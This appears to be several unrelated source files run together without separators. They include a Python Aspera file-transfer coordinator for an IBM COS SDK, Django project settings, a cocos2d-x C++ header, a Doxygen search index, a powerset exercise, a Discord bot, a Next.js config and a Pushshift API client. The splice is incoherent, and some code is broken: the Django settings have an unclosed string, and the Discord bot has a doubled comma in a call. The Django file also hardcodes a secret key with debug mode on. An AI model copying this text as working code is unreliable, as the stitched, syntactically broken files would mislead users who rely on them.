"FILEERROR" class enumAsperaControllerStatus(): ''' enum class - coordinator class status ''' CREATED = "new" RUNNING = "running" FAILED = "failed" SUCCESS = "success" PAUSED = "paused" CANCELLED = "cancelled" class enumAsperaDirection(): ''' enum class - direction of transfer ''' SEND = "send" RECEIVE = "receive" class enumAsperaModifyTransfer(): ''' enum class - actions that can performed in progress transfer ''' target_rate_kbps = 1 min_rate_kbps = 2 priority = 3 CTRL_PAUSE = 4 CTRL_RESUME = 5 class AsperaTransferFuture(object): def __init__(self, meta=None, coordinator=None): """The future associated to a submitted transfer request :type meta: TransferMeta :param meta: The metadata associated to the request. This object is visible to the requester. :type coordinator: TransferCoordinator :param coordinator: The coordinator associated to the request. This object is not visible to the requester. """ self._meta = meta self._coordinator = coordinator @property def meta(self): """The metadata associated with the TransferFuture""" return self._meta def is_done(self): """Determines if a TransferFuture has completed :returns: True if completed. False, otherwise. """ return self._coordinator.is_done() def result(self): """Waits until TransferFuture is done and returns the result If the TransferFuture succeeded, it will return the result. If the TransferFuture failed, it will raise the exception associated to the failure. """ try: # Usually the result() method blocks until the transfer is done, # however if a KeyboardInterrupt is raised we want want to exit # out of this and propogate the exception. return self._coordinator.result() except KeyboardInterrupt as e: self.cancel() # raise AsperaTransferFailedError("Keyboard Interrupt") raise e def cancel(self): """Cancels the request associated with the TransferFuture""" return self._coordinator.cancel() def pause(self): """Pause the request associated with the TransferFuture""" return self._coordinator.pause() def resume(self): """Resume the request associated with the TransferFuture""" return self._coordinator.resume() def set_exception(self, exception): """Sets the exception on the future.""" if not self.is_done(): raise TransferNotDoneError( 'set_exception can only be called once the transfer is ' 'complete.') self._coordinator.set_exception(exception, override=True) def is_error(self): """ Has the transfer failed.""" return self._coordinator.is_failed() def is_success(self): """ Has the transfer completed ok.""" return self._coordinator.is_success() def get_last_error(self): """ Fetch the last error set in object.""" return self._coordinator.get_last_error() class AsperaTransferListener(faspmanager2.ITransferListener): ''' the class that provides the connectivity between the Aspera sdk and ibmcos sdk ''' def __init__(self): super(AsperaTransferListener, self).__init__() self._sessions = {} self._session_lock = threading.Lock() self._is_stopped = False self._is_stopping = False def debug_id(self, xferId, session_id): ''' get last part of xferId and session_id to create an abrreviated id ''' return xferId.split('-')[4] + "-" + session_id.split('-')[4] def transferReporter(self, xferId, message): ''' the callback method used by the Aspera sdk during transfer to notify progress, error or successful completion ''' if self.is_stopped(): return True _asp_message = AsperaMessage(message) if not _asp_message.is_msg_type( [enumAsperaMsgType.INIT, enumAsperaMsgType.DONE, enumAsperaMsgType.ERROR, enumAsperaMsgType.FILEERROR, enumAsperaMsgType.STATS]): return _session_id = _asp_message.get_session_id() _msg = self.debug_id(xferId, _session_id) + " : " + _asp_message._msg_type logger.info(_msg) with self._session_lock: if _asp_message.is_msg_type([enumAsperaMsgType.INIT]): assert(_session_id not in self._sessions) _session = AsperaSession(_session_id) self._sessions[_session_id] = _session self.notify_init() else: _session = self._sessions[_session_id] if _asp_message.is_msg_type([enumAsperaMsgType.DONE]): if _session.set_bytes_transferred(_asp_message.get_bytes_transferred()): self.notify_progress() _session.set_success() self.notify_done() elif _asp_message.is_msg_type([enumAsperaMsgType.ERROR, enumAsperaMsgType.FILEERROR]): _session.set_error(_asp_message.get_error_descr()) self.notify_done(error=True) elif _asp_message.is_msg_type([enumAsperaMsgType.STATS]): if _session.set_bytes_transferred(_asp_message.get_bytes_transferred()): self.notify_progress() def start_transfer(self): ''' pass the transfer spec to the Aspera sdk and start the transfer ''' try: if not self.is_done(): faspmanager2.startTransfer(self.get_transfer_id(), None, self.get_transfer_spec(), self) except Exception as ex: self.notify_exception(ex) def pause(self): ''' send a pause transfer request to the Aspera sdk ''' return self._modify_transfer(enumAsperaModifyTransfer.CTRL_PAUSE) def resume(self): ''' send a resume request to the Aspera sdk the transfer must be in a paused state ''' return self._modify_transfer(enumAsperaModifyTransfer.CTRL_RESUME) def _cancel(self): ''' call stop to cancel the in progress transfer ''' return self.stop() def is_running(self, is_stopped): ''' check whether a transfer is currently running ''' if is_stopped and self.is_stopped(): return False return faspmanager2.isRunning(self.get_transfer_id()) def is_stopped(self, is_stopping=True): ''' check whether a transfer is stopped or is being stopped ''' if is_stopping: return self._is_stopped or self._is_stopping return self._is_stopped def _modify_transfer(self, option, value=0): ''' call Apsera sdk modify an in progress eg pause/resume allowed values defined in enumAsperaModifyTransfer class ''' _ret = False try: if self.is_running(True): logger.info("ModifyTransfer called %d = %d" % (option, value)) _ret = faspmanager2.modifyTransfer(self.get_transfer_id(), option, value) logger.info("ModifyTransfer returned %s" % _ret) except Exception as ex: self.notify_exception(ex) return _ret def stop(self, free_resource=False): ''' send a stop transfer request to the Aspera sdk, can be done for: cancel - stop an in progress transfer free_resource - request to the Aspera sdk free resouces related to trasnfer_id ''' if not self.is_stopped(): self._is_stopping = True try: if free_resource or self.is_running(False): if not free_resource: logger.info("StopTransfer called - %s" % self.get_transfer_id()) self._is_stopped = faspmanager2.stopTransfer(self.get_transfer_id()) if not free_resource: logger.info("StopTransfer returned %s - %s" % ( self._is_stopped, self.get_transfer_id())) except Exception as ex: self.notify_exception(ex) self._is_stopping = False return self.is_stopped(False) def free_resources(self): ''' call stop to free up resources ''' if not self.is_stopped(): logger.info("Freeing resources: %s" % self.get_transfer_id()) self.stop(True) @staticmethod def set_log_location(aspera_log_path): ''' set the local path where the Aspera/ASCP log files will be stored ''' try: if aspera_log_path: faspmanager2.configureLogLocation(aspera_log_path) except Exception as ex: raise ex class AsperaMessage(object): ''' wrapper class to manage an Aspera callback message data string ''' def __init__(self, message): self._message = message self._msg_type = self.get_message_type() def is_msg_type(self, types): ''' is the current message_type in a list of message types ''' return self._msg_type in types def extract_message_value(self, name): ''' search message to find and extract a named value ''' name += ":" assert(self._message) _start = self._message.find(name) if _start >= 0: _start += len(name) + 1 _end = self._message.find("\n", _start) _value = self._message[_start:_end] return _value.strip() return None def get_session_id(self): ''' extract SessionId from message ''' return self.extract_message_value("SessionId") def get_error_descr(self): ''' extract Description from message ''' return self.extract_message_value("Description") def get_message_type(self): ''' extract Type from message ''' return self.extract_message_value("Type") def get_bytes_transferred(self): ''' extract TransferBytes from message ''' return self.extract_message_value("TransferBytes") class AsperaSession(object): ''' Aspera uses one or more sessions to transfer a file - this class holds state information between callbacks ''' PROGRESS_MSGS_SEND_ALL = False def __init__(self, session_id): ''' Each session has a corresponding Aspera Ascp process which passes back messages via the callback.These messages contain state, error, progress details which is stored in this object ''' self.session_id = session_id self._exception = None self._status = None self._status = enumAsperaControllerStatus.CREATED self._done_event = threading.Event() self._bytes_transferred = 0 def set_done(self): ''' set the done event - indicates processing complete ''' self._done_event.set() def _set_status(self, status, ex=None): ''' set session status - eg failed, success -- valid values contained in enumAsperaControllerStatus class ''' self._status = status logger.debug("Set status(%s) for %s" % (self._status, self.session_id)) self.set_done() if ex: self._exception = ex def set_bytes_transferred(self, bytes_transferred): ''' set the number of bytes transferred - if it has changed return True ''' _changed = False if bytes_transferred: _changed = (self._bytes_transferred != int(bytes_transferred)) if _changed: self._bytes_transferred = int(bytes_transferred) logger.debug("(%s) BytesTransferred: %d" % ( self.session_id, self._bytes_transferred)) if AsperaSession.PROGRESS_MSGS_SEND_ALL: return True return _changed def set_error(self, error): ''' format an error message into an exception that can be thrown in result() ''' self.set_exception(AsperaTransferFailedError(error)) @property def bytes_transferred(self): ''' get the number of bytes transferred for this session ''' return self._bytes_transferred def set_exception(self, exception): ''' set the exception message and set the status to failed ''' logger.error("%s : %s" % (exception.__class__.__name__, str(exception))) self._set_status(enumAsperaControllerStatus.FAILED, exception) def set_success(self): ''' set the transfer status to success ''' self._set_status(enumAsperaControllerStatus.SUCCESS) def set_cancelled(self): ''' set the transfer status to cancelled ''' self._set_status(enumAsperaControllerStatus.CANCELLED) def is_status(self, st1): ''' is the transfer status set to the param value ''' return st1 == self._status def is_success(self): ''' is the transfer status set to success ''' return self.is_status(enumAsperaControllerStatus.SUCCESS) def is_cancelled(self): ''' is the transfer status set to success ''' return self.is_status(enumAsperaControllerStatus.CANCELLED) def is_failed(self): ''' is the transfer status set to failed ''' return self.is_status(enumAsperaControllerStatus.FAILED) def is_done(self): ''' check to see if the status is one of three possible done/completed states ''' return self.is_failed() or self.is_cancelled() or self.is_success() def wait(self): ''' wait for the done event to be set - no timeout''' self._done_event.wait(MAXINT) return self._status, self._exception class AsperaTransferCoordinator(AsperaTransferListener): """A helper class for managing TransferFuture""" def __init__(self, args): super(AsperaTransferCoordinator, self).__init__() self._args = args self._exception = None self._done_event = threading.Event() self._lock = threading.Lock() self._done_callbacks = [] self._queued_callbacks = [] self._progress_callbacks = [] self._callbacks_lock = threading.Lock() self._total_bytes_transferred = 0 self._update_session_count() def cancel(self, msg='', exc_type=CancelledError): """Cancels the TransferFuture :param msg: The message to attach to the cancellation :param exc_type: The type of exception to set for the cancellation """ _ret = False if not self.is_done(): self.notify_cancelled(msg, True) _ret = True return _ret @property def session_count(self): ''' session/ascp count used to limit the number of ascps than can be run concurrently ''' return self._session_count def _update_session_count(self, type=0, actutal_session_count=0): ''' update the session/ascp count 0 : set the number of sessions being used to 1 or number specified in transfer config -1: decrement the session count by one 1: set the session count to param value ''' if type == 0: # init _count = 0 if self._args.transfer_config: _count = self._args.transfer_config.multi_session self._session_count = _count if _count > 0 else 1 elif type == -1: # decrement self._session_count -= 1 elif type == 1: # set from number of actual session objects self._session_count = actutal_session_count def result(self, raise_exception=True): """Waits until TransferFuture is done and returns the result If the TransferFuture succeeded, it will return the result. If the TransferFuture failed, it will raise the exception associated to the failure. """ _status = None _exception = None self._done_event.wait(MAXINT) # first wait for session global if self.is_failed(): # global exception set _exception = self._exception _status = enumAsperaControllerStatus.FAILED else: for _session in self._sessions.values(): _status_tmp, _exception_tmp = _session.wait() if _exception_tmp and not _exception: _exception = _exception_tmp _status = _status_tmp # Once done waiting, raise an exception if present or return the final status if _exception and raise_exception: raise _exception return _status def notify_cancelled(self, reason, run_done_callbacks): ''' notify cancel with reason and a whether to run done callbacks ''' self.notify_exception(CancelledError(reason), run_done_callbacks) def notify_init(self): ''' run the queed callback for just the first session only ''' _session_count = len(self._sessions) self._update_session_count(1, _session_count) if _session_count == 1: self._run_queued_callbacks() def notify_done(self, error=False, run_done_callbacks=True): ''' if error clear all sessions otherwise check to see if all other sessions are complete then run the done callbacks ''' if error: for _session in self._sessions.values(): _session.set_done() self._session_count = 0 else: self._update_session_count(-1) for _session in self._sessions.values(): if not _session.is_done(): return if run_done_callbacks: self._run_done_callbacks() self._done_event.set() def notify_progress(self): ''' only call the progress callback if total has changed or PROGRESS_MSGS_SEND_ALL is set ''' _total = 0 for _session in self._sessions.values(): _total += _session.bytes_transferred if AsperaSession.PROGRESS_MSGS_SEND_ALL: self._run_progress_callbacks(_total) else: # dont call progress callback unless total has changed if self._total_bytes_transferred != _total: self._total_bytes_transferred = _total self._run_progress_callbacks(_total) def notify_exception(self, exception, run_done_callbacks=True): ''' set the exception message, stop transfer if running and set the done event ''' logger.error("%s : %s" % (exception.__class__.__name__, str(exception))) self._exception = exception if self.is_running(True): # wait for a short 5 seconds for it to finish for _cnt in range(0, 5): if not self._cancel(): time.sleep(1) else: break self.notify_done(error=True, run_done_callbacks=run_done_callbacks) def is_success(self): ''' check all sessions to see if they have completed successfully ''' for _session in self._sessions.values(): if not _session.is_success(): return False return True def is_done(self): ''' check to see if the done event has been set ''' return self._done_event.is_set() def is_cancelled(self): ''' check to see if the exception/error type is a CancelledError ''' if self._exception: return isinstance(self._exception, CancelledError) return False def is_send(self): ''' is trasnfer an Upload file or directory ''' return self._args.direction == enumAsperaDirection.SEND def is_receive(self): ''' is trasnfer a Download file or directory ''' return self._args.direction == enumAsperaDirection.RECEIVE def is_failed(self): ''' check to see if the exception/error has been set ''' return self._exception is not None def set_transfer_spec(self): ''' run the function to set the transfer spec on error set associated exception ''' _ret = False try: self._args.transfer_spec_func(self._args) _ret = True except Exception as ex: self.notify_exception(AsperaTransferSpecError(ex), False) return _ret def get_transfer_spec(self): ''' get the stored transfer spec ''' return self._args.transfer_spec def get_transfer_id(self): ''' get the unique transfer id GUID - used in all api calls to Aspera sdk ''' return self._args.transfer_id def get_last_error(self): ''' fetch the exception message - if one was set ''' return str(self._exception) if self._exception else "" # ************************************************************************************************* # Callback related code # ************************************************************************************************* def _add_subscribers_for_type(self, callback_type, subscribers, callbacks, **kwargs): ''' add a done/queued/progress callback to the appropriate list ''' for subscriber in subscribers: callback_name = 'on_' + callback_type if hasattr(subscriber, callback_name): _function = functools.partial(getattr(subscriber, callback_name), **kwargs) callbacks.append(_function) def add_done_callback(self, function, **kwargs): """Add a done callback to be invoked when transfer is complete """ with self._callbacks_lock: _function = functools.partial(function, **kwargs) self._done_callbacks.append(_function) def add_subscribers(self, subscribers, **kwargs): """ Add a callbacks to be invoked during transfer """ if subscribers: with self._callbacks_lock: self._add_subscribers_for_type( 'done', subscribers, self._done_callbacks, **kwargs) self._add_subscribers_for_type( 'queued', subscribers, self._queued_callbacks, **kwargs) self._add_subscribers_for_type( 'progress', subscribers, self._progress_callbacks, **kwargs) def _run_queued_callbacks(self): ''' run the init/quued calback when the trasnfer is initiated on apsera ''' for callback in self._queued_callbacks: try: callback() except Exception as ex: logger.error("Exception: %s" % str(ex)) def _run_progress_callbacks(self, bytes_transferred): ''' pass the number of bytes process to progress callbacks ''' if bytes_transferred: for callback in self._progress_callbacks: try: callback(bytes_transferred=bytes_transferred) except Exception as ex: logger.error("Exception: %s" % str(ex)) def _run_done_callbacks(self): ''' Run the callbacks and remove the callbacks from the internal List so they do not get run again if done is notified more than once. ''' with self._callbacks_lock: for callback in self._done_callbacks: try: callback() # We do not want a callback interrupting the process, especially # in the failure cleanups. So log and catch, the excpetion. except Exception as ex: logger.error("Exception: %s" % str(ex)) logger.error("Exception raised in %s." % callback, exc_info=True) self._done_callbacks = []
""" Django settings for pipeline_nanny project. Generated by 'django-admin startproject' using Django 1.8c1. For more information on this file, see https://docs.djangoproject.com/en/dev/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/dev/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/dev/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'i03f3g=x11p^)*c*1j_&xs-r!cl4b#@np6+(b-#dlr90_0p-p5' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'taskmaster, ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', ) ROOT_URLCONF = 'pipeline_nanny.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'pipeline_nanny.wsgi.application' # Database # https://docs.djangoproject.com/en/dev/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Internationalization # https://docs.djangoproject.com/en/dev/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/dev/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = ( os.path.join(BASE_DIR, "static"), )
/**************************************************************************** Copyright (c) 2009 On-Core Copyright (c) 2010-2012 cocos2d-x.org Copyright (C) 2013-2014 Chukong Technologies Inc. http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #ifndef __EFFECTS_CCGRABBER_H__ #define __EFFECTS_CCGRABBER_H__ #include "base/CCRef.h" #include "platform/CCGL.h" NS_CC_BEGIN class Texture2D; /** * @addtogroup effects * @{ */ /** FBO class that grabs the the contents of the screen */ class Grabber : public Ref { public: /** Constructor. * @js ctor */ Grabber(void); /** Destructor. * @js NA * @lua NA */ ~Grabber(void); /**Init the grab structure, will set the texture as the FBO color attachment.*/ void grab(Texture2D *texture); /**Begin capture the screen, which will save the old FBO, clear color, and set the new FBO, clear the background.*/ void beforeRender(Texture2D *texture); /**After capture, will reset the old FBO and clear color.*/ void afterRender(Texture2D *texture); protected: GLuint _FBO; GLint _oldFBO; GLfloat _oldClearColor[4]; }; // end of effects group /// @} NS_CC_END #endif // __EFFECTS_CCGRABBER_H__
var searchData= [ ['facebookapprequestmessage_2ecs',['FacebookAppRequestMessage.cs',['../_facebook_app_request_message_8cs.html',1,'']]], ['facebookconnectingmessage_2ecs',['FacebookConnectingMessage.cs',['../_facebook_connecting_message_8cs.html',1,'']]], ['facebookconnection_2ecs',['FacebookConnection.cs',['../_facebook_connection_8cs.html',1,'']]], ['facebookfriend_2ecs',['FacebookFriend.cs',['../_facebook_friend_8cs.html',1,'']]], ['facebookfriendsusingappmessage_2ecs',['FacebookFriendsUsingAppMessage.cs',['../_facebook_friends_using_app_message_8cs.html',1,'']]], ['facebookhideunitymessage_2ecs',['FacebookHideUnityMessage.cs',['../_facebook_hide_unity_message_8cs.html',1,'']]], ['facebookloginmessage_2ecs',['FacebookLoginMessage.cs',['../_facebook_login_message_8cs.html',1,'']]], ['facebookmanager_2ecs',['FacebookManager.cs',['../_facebook_manager_8cs.html',1,'']]], ['facebookprofilepicturemessage_2ecs',['FacebookProfilePictureMessage.cs',['../_facebook_profile_picture_message_8cs.html',1,'']]], ['facebooksharelinkmessage_2ecs',['FacebookShareLinkMessage.cs',['../_facebook_share_link_message_8cs.html',1,'']]], ['facebookuserpicturemessage_2ecs',['FacebookUserPictureMessage.cs',['../_facebook_user_picture_message_8cs.html',1,'']]], ['fgcodewindow_2ecs',['FGCodeWindow.cs',['../_f_g_code_window_8cs.html',1,'']]], ['fgconsole_2ecs',['FGConsole.cs',['../_f_g_console_8cs.html',1,'']]], ['fgdefaultassetinspector_2ecs',['FGDefaultAssetInspector.cs',['../_f_g_default_asset_inspector_8cs.html',1,'']]], ['fgfindinfiles_2ecs',['FGFindInFiles.cs',['../_f_g_find_in_files_8cs.html',1,'']]], ['fggrammar_2ecs',['FGGrammar.cs',['../_f_g_grammar_8cs.html',1,'']]], ['fgkeyboardhook_2ecs',['FGKeyboardHook.cs',['../_f_g_keyboard_hook_8cs.html',1,'']]], ['fglistpopup_2ecs',['FGListPopup.cs',['../_f_g_list_popup_8cs.html',1,'']]], ['fgparser_2ecs',['FGParser.cs',['../_f_g_parser_8cs.html',1,'']]], ['fgpopupwindow_2ecs',['FGPopupWindow.cs',['../_f_g_popup_window_8cs.html',1,'']]], ['fgtextbuffer_2ecs',['FGTextBuffer.cs',['../_f_g_text_buffer_8cs.html',1,'']]], ['fgtextbuffermanager_2ecs',['FGTextBufferManager.cs',['../_f_g_text_buffer_manager_8cs.html',1,'']]], ['fgtexteditor_2ecs',['FGTextEditor.cs',['../_f_g_text_editor_8cs.html',1,'']]], ['fgtextinspector_2ecs',['FGTextInspector.cs',['../_f_g_text_inspector_8cs.html',1,'']]], ['fgtooltip_2ecs',['FGTooltip.cs',['../_f_g_tooltip_8cs.html',1,'']]], ['fgtypesystem_2ecs',['FGTypeSystem.cs',['../_f_g_type_system_8cs.html',1,'']]], ['findreplacewindow_2ecs',['FindReplaceWindow.cs',['../_find_replace_window_8cs.html',1,'']]], ['findresultswindow_2ecs',['FindResultsWindow.cs',['../_find_results_window_8cs.html',1,'']]], ['fixedmovement_2ecs',['FixedMovement.cs',['../_fixed_movement_8cs.html',1,'']]], ['fixedrotation_2ecs',['FixedRotation.cs',['../_fixed_rotation_8cs.html',1,'']]], ['freeprizemanager_2ecs',['FreePrizeManager.cs',['../_free_prize_manager_8cs.html',1,'']]], ['freeprizemanagereditor_2ecs',['FreePrizeManagerEditor.cs',['../_free_prize_manager_editor_8cs.html',1,'']]] ];
import unittest # O(n*2^n) time | O(n*2^n) space def powerset(array): # first, we define our empty array of subsets # we include the empty array [] also: subsets = [[]] # for each element in the array, we do a for loop # and we append it to the current subset. With this, we can get for ele in array: for i in range(len(subsets)): currentSubset = subsets[i] subsets.append(currentSubset + [ele]) return subsets # ------ RECURSIVE SOLUTION ---------- def powerset2(array, idx = None): # Basically in this problem, what we do is: generating all subsets of # one element, then add the second, then all subsets + third element... # that is a formula: # P([1,2,3....X]) = P(1,2,3,...., X-1) + [X] if idx is None: # In the first iteration, idx = none, so we set the index to the # last element of the array idx = len(array)-1 elif idx < 0: # since we will keep recursively calling P(...) + X until reaching base case # we will return the empty array return [[]] ele = array[idx] # We will recursively call each subsets once we reach the base case # first case: [] array, and then we loop over every subset and append the element # we extracted subsets = powerset2(array, idx-1) for i in range(len(subsets)): currentSubset = subsets[i] subsets.append(currentSubset + [ele]) return subsets # --- UNIT TEST -------- class TestProgram(unittest.TestCase): def test_case_1(self): output = list(map(lambda x: set(x), powerset([1, 2, 3]))) self.assertTrue(len(output) == 8) self.assertTrue(set([]) in output) self.assertTrue(set([1]) in output) self.assertTrue(set([2]) in output) self.assertTrue(set([1, 2]) in output) self.assertTrue(set([3]) in output) self.assertTrue(set([1, 3]) in output) self.assertTrue(set([2, 3]) in output) self.assertTrue(set([1, 2, 3]) in output) if __name__ == "__main__": unittest.main()
import discord from discord.ext import commands from discord.ext.commands import Bot import os import traceback bot = commands.Bot(command_prefix='/') token = os.environ['DISCORD_BOT_TOKEN'] @bot.event async def on_command_error(ctx, error): orig_error = getattr(error, "original", error) error_msg = ''.join(traceback.TracebackException.from_exception(orig_error).format()) await ctx.send(error_msg) @bot.command() async def csm(ctx): await ctx.send('【Choco stupid Mountain】 https://clips.twitch.tv/GoodReliableArmadilloDoggo-QAW30SL4Rrgfkdrl') # embed = discord.Embed(title="choco stupid mountain",description="choco stupid mountain") # await channel.send(embed=embed) @bot.command() async def csmcsm(ctx): embed = discord.Embed(title="choco stupid mountain",description="choco stupid mountain",,color=0xff0000) await ctx.send(embed=embed) bot.run(token)
module.exports = { images: { domains: ["untappd.akamaized.net"] } };
from collections import namedtuple, deque, Counter import copy import json import logging import requests import time from datetime import datetime as dt import warnings log = logging.getLogger(__name__) class RateLimitCache(object): def __init__(self, n, t=60): self.n = n self.t = t self.cache = deque() @property def delta(self): """Time since earliest call""" if len(self.cache) == 0: return 0 return (time.time() - self.cache[0]) def update(self): while self.delta > self.t: try: self.cache.popleft() except IndexError: return @property def blocked(self): """Test if additional calls need to be blocked""" self.update() return len(self.cache) >= self.n @property def interval(self): self.update() if self.t > self.delta: return self.t - self.delta else: return 0 def new(self): self.update() if self.blocked: raise Exception("RateLimitCache is blocked.") self.cache.append(time.time()) class PushshiftAPIMinimal(object): #base_url = {'search':'https://api.pushshift.io/reddit/{}/search/', # 'meta':'https://api.pushshift.io/meta/'} _base_url = 'https://{domain}.pushshift.io/{{endpoint}}' _limited_args = ('aggs', 'ids') _thing_prefix = { 'Comment':'t1_', 'Account':'t2_', 'Submission':'t3_', 'Message':'t4_', 'Subreddit':'t5_', 'Award':'t6_' } def __init__(self, max_retries=20, max_sleep=3600, backoff=2, rate_limit_per_minute=None, max_results_per_request=1000, detect_local_tz=True, utc_offset_secs=None, domain='api', https_proxy=None, shards_down_behavior='warn', # must be one of ['warn','stop' or None] # To do: add 'retry' disable_warnings=False ): assert max_results_per_request <= 1000 assert backoff >= 1 self.max_retries = max_retries self.max_sleep = max_sleep self.backoff = backoff self.max_results_per_request = max_results_per_request self._utc_offset_secs = utc_offset_secs self._detect_local_tz = detect_local_tz self.domain = domain if https_proxy is not None: self.proxies = {"https": https_proxy } else: self.proxies = {} self.shards_down_behavior = shards_down_behavior self.disable_warnings = disable_warnings self.metadata_ = {} if rate_limit_per_minute is None: log.debug("Connecting to /meta endpoint to learn rate limit.") response = self._get(self.base_url.format(endpoint='meta')) rate_limit_per_minute = response['server_ratelimit_per_minute'] log.debug("server_ratelimit_per_minute: %s" % rate_limit_per_minute) self._rlcache = RateLimitCache(n=rate_limit_per_minute, t=60) @property def base_url(self): return self._base_url.format(domain=self.domain) @property def utc_offset_secs(self): if self._utc_offset_secs is not None: return self._utc_offset_secs if self._detect_local_tz: try: self._utc_offset_secs = dt.utcnow().astimezone().utcoffset().total_seconds() except ValueError: self._utc_offset_secs = 0 else: self._utc_offset_secs = 0 return self._utc_offset_secs @property def shards_are_down(self): shards = self.metadata_.get('shards') if shards is None: return if shards['successful'] != shards['total']: return True return False def _limited(self, payload): """Turn off bells and whistles for special API endpoints""" return any(arg in payload for arg in self._limited_args) def _epoch_utc_to_local(self, epoch): return epoch - self.utc_offset_secs def _wrap_thing(self, thing, kind): """Mimic praw.Submission and praw.Comment API""" thing['created'] = self._epoch_utc_to_local(thing['created_utc']) thing['d_'] = copy.deepcopy(thing) ThingType = namedtuple(kind, thing.keys()) thing = ThingType(**thing) return thing def _impose_rate_limit(self, nth_request=0): interval = 0 if hasattr(self, '_rlcache'): if self._rlcache.blocked: interval = self._rlcache.interval interval = max(interval, self.backoff*nth_request) interval = min(interval, self.max_sleep) if interval > 0: log.debug("Imposing rate limit, sleeping for %s" % interval) time.sleep(interval) def _add_nec_args(self, payload): """Adds 'limit' and 'created_utc' arguments to the payload as necessary.""" if self._limited(payload): # Do nothing I guess? Not sure how paging works on this endpoint... return if 'limit' not in payload: payload['limit'] = self.max_results_per_request if 'metadata' not in payload: payload['metadata'] = 'true' if 'sort' not in payload: # Getting weird results if this is not made explicit. Unclear why. payload['sort'] = 'desc' if 'filter' in payload: #and payload.get('created_utc', None) is None: if not isinstance(payload['filter'], list): if isinstance(payload['filter'], str): payload['filter'] = [payload['filter']] else: payload['filter'] = list(payload['filter']) if 'created_utc' not in payload['filter']: payload['filter'].append('created_utc') def _get(self, url, payload={}): log.debug('URL: %s' % url) log.debug('Payload: %s' % payload) i, success = 0, False while (not success) and (i<self.max_retries): if i > 0 and not self.disable_warnings: warnings.warn("Unable to connect to pushshift.io. Retrying after backoff.") self._impose_rate_limit(i) i+=1 try: response = requests.get(url, params=payload, proxies=self.proxies) log.info(response.url) log.debug('Response status code: %s' % response.status_code) except requests.ConnectionError: log.debug("Connection error caught, retrying. Connection attempts so far: %s" % str(i+1)) continue success = response.status_code == 200 if not success and not self.disable_warnings: warnings.warn("Got non 200 code %s" % response.status_code) if not success: raise Exception("Unable to connect to pushshift.io. Max retries exceeded.") return json.loads(response.text) def _handle_paging(self, url): limit = self.payload.get('limit', None) #n = 0 while True: if limit is not None: if limit > self.max_results_per_request: self.payload['limit'] = self.max_results_per_request limit -= self.max_results_per_request else: self.payload['limit'] = limit limit = 0 elif 'ids' in self.payload: limit = 0 if len(self.payload['ids']) > self.max_results_per_request: err_msg = "When searching by ID, number of IDs must be fewer than the max number of objects in a single request ({})." raise NotImplementedError(err_msg.format(self.max_results_per_request)) self._add_nec_args(self.payload) data = self._get(url, self.payload) yield data if limit is not None: received_size = int(data['metadata']['size']) requested_size = self.payload['limit'] # The API can decide to send less data than desired. # We need to send another request in that case requesting the missing amount if received_size < requested_size: limit += requested_size - received_size if limit == 0: return def _search(self, kind, stop_condition=lambda x: False, return_batch=False, dataset='reddit', **kwargs): self.metadata_ = {} self.payload = copy.deepcopy(kwargs) endpoint = '{dataset}/{kind}/search'.format(dataset=dataset, kind=kind) url = self.base_url.format(endpoint=endpoint) for response in self._handle_paging(url): if 'aggs' in response: yield response['aggs'] # Aggs responses are unreliable in subsequent batches with # current search paging implementation. Enforce aggs result # is only returned once. self.payload.pop('aggs') self.metadata_ = response.get('metadata', {}) log.debug('Metadata: %s' % self.metadata_) results = response['data'] shards_down_message = "Not all PushShift shards are active. Query results may be incomplete" if self.shards_are_down and (self.shards_down_behavior is not None) : if self.shards_down_behavior == 'warn': warnings.warn(shards_down_message) if self.shards_down_behavior == 'stop': raise RuntimeError(shards_down_message) if len(results) == 0: return if return_batch: batch = [] for thing in results: thing = self._wrap_thing(thing, kind) if return_batch: batch.append(thing) else: yield thing if stop_condition(thing): if return_batch: return batch return if return_batch: yield batch # For paging. if self.payload.get('sort') == 'desc': self.payload['before'] = thing.created_utc 